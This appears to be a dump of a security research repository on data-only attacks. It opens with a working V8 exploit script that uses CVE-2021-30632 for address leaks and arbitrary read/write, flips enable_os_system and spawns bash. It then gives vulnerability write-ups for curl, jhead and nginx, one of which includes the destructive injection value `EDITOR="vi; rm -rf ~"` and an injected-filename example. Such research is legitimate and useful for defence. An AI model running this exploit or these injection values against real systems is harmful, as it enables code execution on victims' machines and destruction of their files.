68 | dblArr[0] = f;
69 | return bigIntView[0];
70 | }
71 |
72 |
73 | dblArr[0] = addrs[0];
74 | dblArr[1] = addrs[1];
75 |
76 | function addrOf(obj) {
77 | b[0] = obj;
78 | let addrs = oobRead();
79 | dblArr[0] = addrs[0];
80 | return intView[1];
81 | }
82 |
83 | function arbRead(addr) {
84 | [elements, addr1] = ftoi32(addrs[1]);
85 | oobWrite(i32tof(addr,addr1));
86 | return writeArr[0];
87 | }
88 |
89 | function writeShellCode(rwxAddr, shellArr) {
90 | var intArr = new Uint8Array(400);
91 | var intArrAddr = addrOf(intArr);
92 | // console.log("intArray addr: " + intArrAddr.toString(16));
93 | var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
94 | // console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));
95 |
96 | var intArrMapAddr = ftoi(arbRead(intArrAddr - 0x08 + 0x00));
97 | // console.log("intArrMapAddr: " + intArrMapAddr.toString(16));
98 | intArrMapAddr = intArrMapAddr & BigInt(0xFFFFFFFF);
99 | // console.log("intArrMapAddr: " + intArrMapAddr.toString(16));
100 | intArrMapAddr = Number(intArrMapAddr);
101 |
102 | var mapConstructorAddr = ftoi(arbRead(intArrMapAddr - 0x08 + 0x14));
103 | // console.log("mapConstructorAddr: " + mapConstructorAddr.toString(16));
104 | mapConstructorAddr = mapConstructorAddr & BigInt(0xFFFFFFFF);
105 | // console.log("mapConstructorAddr: " + mapConstructorAddr.toString(16));
106 | mapConstructorAddr = Number(mapConstructorAddr);
107 |
108 | var constructorMapAddr = ftoi(arbRead(mapConstructorAddr - 0x08 + 0x00));
109 | // console.log("constructorMapAddr: " + constructorMapAddr.toString(16));
110 | constructorMapAddr = constructorMapAddr & BigInt(0xFFFFFFFF);
111 | // console.log("constructorMapAddr: " + constructorMapAddr.toString(16));
112 | constructorMapAddr = Number(constructorMapAddr);
113 |
114 | var instanceDescriptors = ftoi(arbRead(constructorMapAddr - 0x08 + 0x18));
115 | // console.log("instanceDescriptors: " + instanceDescriptors.toString(16));
116 | instanceDescriptors = instanceDescriptors & BigInt(0xFFFFFFFF);
117 | // console.log("instanceDescriptors: " + instanceDescriptors.toString(16));
118 | instanceDescriptors = Number(instanceDescriptors);
119 |
120 | var propertyLength = ftoi(arbRead(instanceDescriptors - 0x08 + 0x18));
121 | // console.log("propertyLength: " + propertyLength.toString(16));
122 | propertyLength = propertyLength & BigInt(0xFFFFFFFF);
123 | console.log('[+] Exploited! Run bash without --enable-os-system');
124 | propertyLength = Number(propertyLength);
125 |
126 | var lengthSetter = ftoi(arbRead(propertyLength - 0x08 + 0x10));
127 | // console.log("lengthSetter: " + lengthSetter.toString(16));
128 | lengthSetter = lengthSetter & BigInt(0xFFFFFFFF);
129 | // console.log("lengthSetter: " + lengthSetter.toString(16));
130 | lengthSetter = Number(lengthSetter);
131 |
132 | var foreignAddress = ftoi(arbRead(lengthSetter - 0x08 + 0x04));
133 | // console.log("foreignAddress: " + foreignAddress.toString(16));
134 | foreignAddress = Number(foreignAddress);
135 |
136 | // offsets from `foreign_address` to `options.enable_os_system`
137 | var optionAddr = foreignAddress + 0xdf48b0 + 0x9958 + 0x238;
138 | // console.log("optionAddr: " + optionAddr.toString(16));
139 | enableOsSystem = optionAddr + 0x8;
140 | // console.log("enableOsSystem: " + enableOsSystem.toString(16));
141 |
142 | enableOsSystem = BigInt(enableOsSystem);
143 | var highAddr = enableOsSystem >> BigInt(32);
144 | // console.log("highAddr: " + highAddr.toString(16));
145 | var lowAddr = enableOsSystem & BigInt(0xFFFFFFFF);
146 | // console.log("lowAddr: " + lowAddr.toString(16));
147 | rwxAddr = i32tof(Number(lowAddr), Number(highAddr));
148 | // console.log("rwxAddr: ", ftoi(rwxAddr).toString(16));
149 |
150 | [elements, addr1] = ftoi32(addrs[1]);
151 | oobWrite(i32tof(intArrAddr + 0x20, addr1));
152 | writeArr[0] = rwxAddr;
153 | for (let i = 0; i < shellArr.length; i++) {
154 | intArr[i] = shellArr[i];
155 | }
156 | }
157 | // Use CVE-2021-30632 to corrupt options->enable_os_system.
158 |
159 | var instanceAddr = addrOf(instance);
160 | var elementsAddr = ftoi32(addrs[1])[0];
161 | var rwxAddr = arbRead(instanceAddr + 0x60);
162 |
163 | var shellCode = [0x1]
164 |
165 | writeShellCode(rwxAddr, shellCode);
166 |
167 | main();
168 |
169 | var workerScript = `os.system("bash")`;
170 | var worker = new Worker(workerScript, {type: 'string'});
171 |
172 |
--------------------------------------------------------------------------------
/V8/enable_os_system.md:
--------------------------------------------------------------------------------
1 | # enable\_os\_system
2 |
3 | TODO
--------------------------------------------------------------------------------
/V8/v8.patch:
--------------------------------------------------------------------------------
1 | diff --color -ruN v8.orig/src/libplatform/default-platform.cc v8/src/libplatform/default-platform.cc
2 | --- v8.orig/src/libplatform/default-platform.cc 2023-08-07 16:15:07.542061694 -0400
3 | +++ v8/src/libplatform/default-platform.cc 2023-08-07 13:40:49.162449073 -0400
4 | @@ -72,7 +72,7 @@
5 | if (thread_pool_size < 1) {
6 | thread_pool_size = base::SysInfo::NumberOfProcessors() - 1;
7 | }
8 | - return std::max(std::min(thread_pool_size, kMaxThreadPoolSize), 1);
9 | + return std::max(std::min(thread_pool_size, kMaxThreadPoolSize), 0);
10 | }
11 | } // namespace
12 |
13 | diff --color -ruN v8.orig/src/libplatform/delayed-task-queue.cc v8/src/libplatform/delayed-task-queue.cc
14 | --- v8.orig/src/libplatform/delayed-task-queue.cc 2023-08-07 16:14:54.593920663 -0400
15 | +++ v8/src/libplatform/delayed-task-queue.cc 2023-08-07 13:41:03.786556477 -0400
16 | @@ -17,7 +17,7 @@
17 | DelayedTaskQueue::~DelayedTaskQueue() {
18 | base::MutexGuard guard(&lock_);
19 | DCHECK(terminated_);
20 | - DCHECK(task_queue_.empty());
21 | + // DCHECK(task_queue_.empty());
22 | }
23 |
24 | double DelayedTaskQueue::MonotonicallyIncreasingTime() {
25 |
--------------------------------------------------------------------------------
/curl/README.md:
--------------------------------------------------------------------------------
1 | [curl](https://github.com/curl/curl) is a command line tool and library for transferring data with URL syntax.
2 |
3 | # Source Code
4 |
5 | The following instructions provide a way to obtain a copy of the source code.
6 |
7 | ```bash
8 | $ git clone https://github.com/curl/curl.git
9 | $ git checkout 97f7f66
10 | ```
11 |
12 | # Critical Vairables
13 |
14 | * [tempstore](tempstore.md)
15 |
--------------------------------------------------------------------------------
/curl/tempstore.md:
--------------------------------------------------------------------------------
1 | # tempstore
2 |
3 | ## Details
4 |
5 | tempstore is a pointer to a string that holds the name of a temporary file.
6 | When curl attempts to write something to a file, tempstore is used to ensure that the target file is written atomically and safely.
7 | When writing to a file (not stdout), Curl_fopen may open a temporary file for writing and set tempstore to its name.
8 | After successfully writing all content, the function closes the temporary file and then renames it to the target filename.
9 | This approach prevents data loss or corruption if the program crashes or is interrupted during the write operation. The original file is only replaced once the new file is fully written. The core code logic is as follows:
10 |
11 | ```c
12 | if(!use_stdout) {
13 | ...
14 | if(tempstore && Curl_rename(tempstore, filename)) {
15 | unlink(tempstore);
16 | }
17 | }
18 | ```
19 |
20 | However, curl does not check the existence of original target file `filename` before calling `Curl_rename(tempstore, filename)`. This means any file could be overwritten without check.
21 |
22 |
--------------------------------------------------------------------------------
/jhead/README.md:
--------------------------------------------------------------------------------
1 | [JHEAD](https://github.com/Matthias-Wandel/jhead) is a simple command line tool for displaying and some manipulation
2 | of EXIF header data embedded in Jpeg images from digital cameras.
3 |
4 |
5 | # Source Code
6 |
7 | Our analysis is performed on version 3.04. The following instructions provide a way to obtain a copy of the source code.
8 |
9 | ```bash
10 | $ wget https://www.sentex.ca/\~mwandel/jhead/jhead-3.04.tar.gz
11 | $ tar zxf jhead-3.04.tar.gz;
12 | $ cd jhead-3.04
13 | ```
14 |
15 | # Critical Vairables
16 |
17 | * [RegenThumbnail](regenthumbnail.md)
18 | * [EditComment](editcomment.md)
19 |
20 |
--------------------------------------------------------------------------------
/jhead/editcomment.md:
--------------------------------------------------------------------------------
1 | # EditComment
2 |
3 | ## Overview
4 |
5 | Jhead provides the ability to interactively edit the JPEG comment field using the `-ce` command-line option. When this option is used, the program launches a text editor so the user can modify the comment associated with the image.
6 |
7 | ## How It Works
8 |
9 | When the `-ce` option is specified, the following logic is executed:
10 |
11 | ```c
12 | if (EditComment) {
13 | // ...
14 | char EditFileName[PATH_MAX+5];
15 | strcpy(EditFileName, FileName);
16 | strcat(EditFileName, ".txt");
17 |
18 | CommentSize = FileEditComment(EditFileName, Comment, CommentSize);
19 | // ...
20 | }
21 | ```
22 |
23 | The core function responsible for launching the editor is `FileEditComment`:
24 |
25 | ```c
26 | static int FileEditComment(char * TempFileName, char * Comment, int CommentSize)
27 | {
28 | // Write the current comment to a temporary file
29 | file = fopen(TempFileName, "w");
30 | fwrite(Comment, CommentSize, 1, file);
31 | fclose(file);
32 |
33 | // Determine which editor to use
34 | Editor = getenv("EDITOR");
35 | if (Editor == NULL){
36 | #ifdef _WIN32
37 | Editor = "notepad";
38 | #else
39 | Editor = "vi";
40 | #endif
41 | }
42 |
43 | // Construct and execute the shell command
44 | sprintf(QuotedPath, "%s \"%s\"", Editor, TempFileName);
45 | a = system(QuotedPath);
46 |
47 | ...
48 | }
49 | ```
50 |
51 | - The program writes the current comment to a temporary file.
52 | - It determines the editor to use from the `$EDITOR` environment variable (or defaults to `vi`/`notepad`).
53 | - It constructs a shell command and executes it using `system()`.
54 | - After editing, it reads the comment back from the file and updates the JPEG.
55 |
56 | ## Security Issue: Command Injection
57 |
58 | The `EditComment` feature is vulnerable to command injection because it constructs a shell command using user-controlled input `FileName` and `$EDITOR` without any validation:
59 |
60 | ```c
61 | Editor = getenv("EDITOR");
62 | sprintf(QuotedPath, "%s \"%s\"", Editor, TempFileName);
63 | a = system(QuotedPath);
64 | ```
65 |
66 | - If an attacker sets the `EDITOR` environment variable to a malicious value (e.g., `EDITOR="vi; rm -rf ~"`), arbitrary commands can be executed when `system()` is called.
67 | - The temporary filename is also interpolated into the shell command and can be exploited by attackers in the way mentioned in `regenthumbnail.md`.
--------------------------------------------------------------------------------
/jhead/regenthumbnail.md:
--------------------------------------------------------------------------------
1 | # RegenThumbnail
2 |
3 | ## Overview
4 |
5 | Jhead provides the ability to regenerate image thumbnails embedded in EXIF data using the `-rgt [size]` command-line option. This option store `size` in the global variable `RegenThumbnail`, which is then used as a flag to trigger thumbnail regeneration for the specified image file.
6 |
7 | ## How It Works
8 |
9 | When the `-rgt` option is used, the following logic is executed:
10 |
11 | ```c
12 | if (RegenThumbnail) {
13 | if (RegenerateThumbnail(FileName)) {
14 | Modified = TRUE;
15 | }
16 | }
17 | ```
18 |
19 | The core function responsible for thumbnail regeneration is `RegenerateThumbnail`:
20 |
21 | ```c
22 | static int RegenerateThumbnail(const char * FileName)
23 | {
24 | ...
25 |
26 | a: sprintf(ThumbnailGenCommand, "mogrify -thumbnail %dx%d -quality 80 \"%s\"",
27 | RegenThumbnail, RegenThumbnail, FileName);
28 |
29 | b: if (system(ThumbnailGenCommand) == 0){
30 | // Put the thumbnail back in the header
31 | return ReplaceThumbnail(FileName);
32 | }else{
33 | ErrFatal("Unable to run 'mogrify' command");
34 | return FALSE;
35 | }
36 | }
37 | ```
38 |
39 | - The command string for `mogrify` is constructed using user-supplied input (`FileName`).
40 | - This command is then executed via `system()` without any sanitization or validation.
41 |
42 | ## Security Issue: Command Injection
43 |
44 | Because the `FileName` parameter is user-controlled and directly interpolated into a shell command, this implementation is vulnerable to command injection. An attacker can craft a malicious filename to execute arbitrary shell commands.
45 |
46 | ```bash
47 | jhead-3.04$ ./jhead -rgt \"; echo 'hello'\"
48 |
49 | Error : No such file
50 | in file '"'
51 | hello"
52 | ```
--------------------------------------------------------------------------------
/nginx/README.md:
--------------------------------------------------------------------------------
1 | [nginx](https://github.com/nginx/nginx) is a high-performance, open-source web server software that also functions as a:
2 | * Reverse proxy
3 | * Load balancer
4 | * HTTP cache
5 | * Mail proxy (SMTP, POP3, IMAP)
6 |
7 | # Source Code
8 |
9 | The following instructions provide a way to obtain a copy of the source code.
10 |
11 | ```bash
12 | wget http://nginx.org/download/nginx-1.20.2.tar.gz
13 | tar zxf nginx-1.20.2.tar.gz
14 | ```
15 |
16 | # Critical Vairables
17 |
18 | * [sa_family](sa_family.md)
19 |
20 | * [ngx_terminate](ngx_terminate.md)
21 |
22 | * [ngx_quit](ngx_quit.md)
23 |
24 | * [ft.st_uid](st_uid.md)
25 |
26 | * [ft.st_mode](st_mode.md)
--------------------------------------------------------------------------------
/nginx/ngx_terminate.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PSU-Security-Universe/data-only-attacks/49a0bc114dc515c63188d7e55e7cffb476a3ea8c/nginx/ngx_terminate.md
--------------------------------------------------------------------------------
/nginx/sa_family.md:
--------------------------------------------------------------------------------
1 | # sa_family
2 |
3 | ## Background
4 |
5 | The `ngx_open_listening_sockets` function is responsible for creating, configuring and preparing all the sockets that NGINX will use to accept incoming connections. This includes both network sockets and Unix domain sockets (for local IPC).
6 |
7 | `struct sockaddr` uses a member `sa_family` to mark the socket type. `AF_INET*` for network socket and `AF_UNIX` for Unix domain socket.
8 |
9 | ## Details
10 |
11 | In `ngx_open_listening_sockets`, if the socket is a Unix domain socket, nginx will call `chmod` to set permission of the target Unix file to `RW_RW_RW_`
12 |
13 | ```c
14 | if (ls[i].sockaddr->sa_family == AF_UNIX) {
15 | mode_t mode;
16 | u_char *name;
17 |
18 | name = ls[i].addr_text.data + sizeof("unix:") - 1;
19 | mode = (S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP|S_IROTH|S_IWOTH);
20 |
21 | if (chmod((char *) name, mode) == -1) {
22 | ...
23 | }
24 | ```
--------------------------------------------------------------------------------